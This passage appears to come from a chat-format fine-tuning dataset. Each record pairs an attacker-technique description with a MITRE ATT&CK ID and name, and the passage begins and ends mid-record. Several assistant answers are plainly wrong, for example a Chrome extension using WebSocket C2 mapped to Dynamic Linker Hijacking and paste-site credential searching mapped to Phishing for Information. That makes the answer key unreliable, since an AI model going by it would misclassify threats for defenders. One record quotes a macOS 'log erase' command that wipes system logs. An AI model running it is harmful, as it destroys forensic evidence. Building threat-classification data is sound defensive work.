                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a stolen SSH private key to authenticate to a private Bitbucket repository and performed a full clone."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator scripts Terraform to destroy a modified cloud compute instance and reapply a previous configuration, rolling back the instance to its original settings."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT10 hides exfiltrated data within legitimate network traffic using steganography in video streams."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses forged security alerts in the console to convince defenders that a system is clean, while exfiltration continues."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the system's loader configuration, the adversary ensures a trojanized shared object is loaded before the intended library."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors removed Windows Event Logs by invoking the Clear-EventLog cmdlet, eliminating evidence of their lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors invoke verclsid.exe with a crafted argument that loads a malicious DLL, achieving code execution through system binary proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses deepfake content as part of advanced social engineering attacks aimed at tricking high-privilege users into granting them access."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a local proxy service on the victim machine to intercept and redirect browser traffic to malicious domains."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses WHOIS data extraction to identify administrative contacts associated with victim domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deletes all files on the target system's hard drive using a secure erase command."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation tools issue \"log erase --predicate 'process == \\\"*\\\"'\" on macOS to purge application logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor pulls a compromised image from a private registry and deploys it to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops its payload into a file with the hidden attribute set, making it invisible in standard directory listings."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows command shell to enumerate user accounts with \"whoami /all\" and exfiltrate the results."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware’s DGA constructs domain strings by interleaving characters from a secret phrase with the day of the week, attempting resolution until successful."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised supply chain tool is redistributed with a counterfeit code signature that matches a known trusted application."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves using a stolen hash to obtain a Kerberos ticket via the S4U2Self method, facilitating authenticated actions."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor performs a scan for attached devices like webcams and USB hubs."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches for leaked credentials related to the target on paste sites."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases detailed hardware schematics from a dark web vendor to understand the target's proprietary technology."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder enumerates all Helm releases with \"helm list --all-namespaces\" to discover deployed applications within the cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing compromised credentials, the attacker created snapshots of critical cloud instances to retain a backup for future access."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group deploys a RAT that includes a feature to start audio capture from the victim’s microphone when a specific keystroke is detected."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary leverages a script to dump the contents of /etc/shadow and /etc/passwd for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor halts the Print Spooler service to cause denial of service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension is used to exploit a privileged process via IPC."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a fast-flux network, employing a large number of compromised machines as DNS resolvers."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised Kubernetes cluster to run hidden mining pods, draining compute capacity."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an adversary uses lateral movement to spread malware within a network, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the Kerberos ticket-granting service, the intruder steals and modifies tickets to impersonate other users."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the system's network connection logs and resets firewall rule histories to hide traces of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses process argument spoofing to hide the execution of a ransomware payload, showing harmless arguments like \"-silent\" in monitoring dashboards."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed Azure Key Vault to retrieve stored service account secrets for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom driver is placed in the LSASS process directory and configured to load automatically on logon."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script accesses Chrome's 'Local State' file to obtain the encryption key, then decrypts the saved passwords in the 'Login Data' file."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes asymmetric cryptography (RSA) to encrypt its beacon messages before sending them over the network."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The phishing campaign uses a compromised executive's email address to send a personalized message with a link to a malicious Microsoft Teams invitation."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DNS cache poisoning after compromising the DNS server, causing clients to resolve to malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder obtains a shared hosting account to host a malicious website that serves drive-by downloads."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use SSH port forwarding to pivot to internal services that are otherwise inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a command to flush all existing firewall rules, leaving the system unprotected."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing link manipulates the victim's email client to revert to IMAP without SSL, exposing credentials."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker establishes a remote session via wsman protocol to move laterally across Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used the Windows \"at\" command to create a scheduled job that executes a malicious DLL when the system is idle."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a malicious Chrome extension that communicates with a remote C2 via WebSockets."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits password reuse across personal and corporate email services to compromise the corporate account."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a script to enumerate SYSVOL for GPP XML files, then decrypted the cpassword entries to retrieve plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Linux command \"lsmod\" to list loaded kernel modules (device drivers)."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group rents a dedicated server in a foreign country to host data exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor purchases a range of SIM cards in bulk to enable persistent communication with compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a cloud service discovery by sending HTTP requests to the cloud provider's health check endpoints."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By querying the container runtime's insecure API, the malicious actor discovers and extracts environment variables holding private Docker registry credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes the \"fsutil\" utility to create a hidden file in an obscure system path, keeping the malicious file out of sight."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a source code file on the target system and uses the victim's compiler to build the malicious binary, avoiding static detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VBA stomping, the attacker first injects a malicious macro, then patches it with legitimate VBA to mask the original infection."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the actor extracts credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor gains administrative access to a WordPress site and edits the theme files, inserting defacement text that is visible to all site visitors."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a public VPN service and use it as an external proxy to exfiltrate data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware implements traffic signaling via port knocking, waiting for a predefined pattern of SYN packets before activating its command and control channel."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compresses and encrypts files, then exfiltrates them over a maliciously crafted HTTP 204 No Content response."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion kit includes a routine that sanitizes the terminal history by removing all recorded commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to call the Invoke-ThreadedHash module, passing a stolen hash to authenticate to a SQL database."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor executes a Kerberoasting module to pull service tickets for accounts with SPNs and then performs offline cracking to retrieve the plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gained access to a popular open-source library’s repository and added a hidden backdoor, causing downstream projects that depend on the library to become compromised."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends periodic heartbeat messages to a malicious web service over TLS, allowing the attacker to issue commands."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a remote desktop connection over HTTP to exfiltrate data from the target system."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs social engineering tactics to trick an employee into revealing sensitive information about the company's internal network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering message urges the user to open a ZIP archive containing a hidden .dll that automatically runs when extracted."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uploads a malicious ASP.NET handler to the IIS server and registers it in the web.config to execute arbitrary code on the web server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals used a custom script to push exfiltrated database dumps to a victim's private S3 bucket, exploiting pre-existing IAM permissions."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor registers a DLL in the known shim locations, causing the OS to load it before the legitimate application, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan disguises its scheduled task as 'Microsoft Update' to execute its payload during system boot."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the victim’s Box.com account via a stolen refresh token and performed a bulk download of archived project files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor uses a Visual Basic script to collect credentials from Outlook and exfiltrate them via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a malicious VBA macro in a Word template that runs automatically when the document is opened, leveraging the Office Test startup feature."
            },
            {
                "role": "assistant",
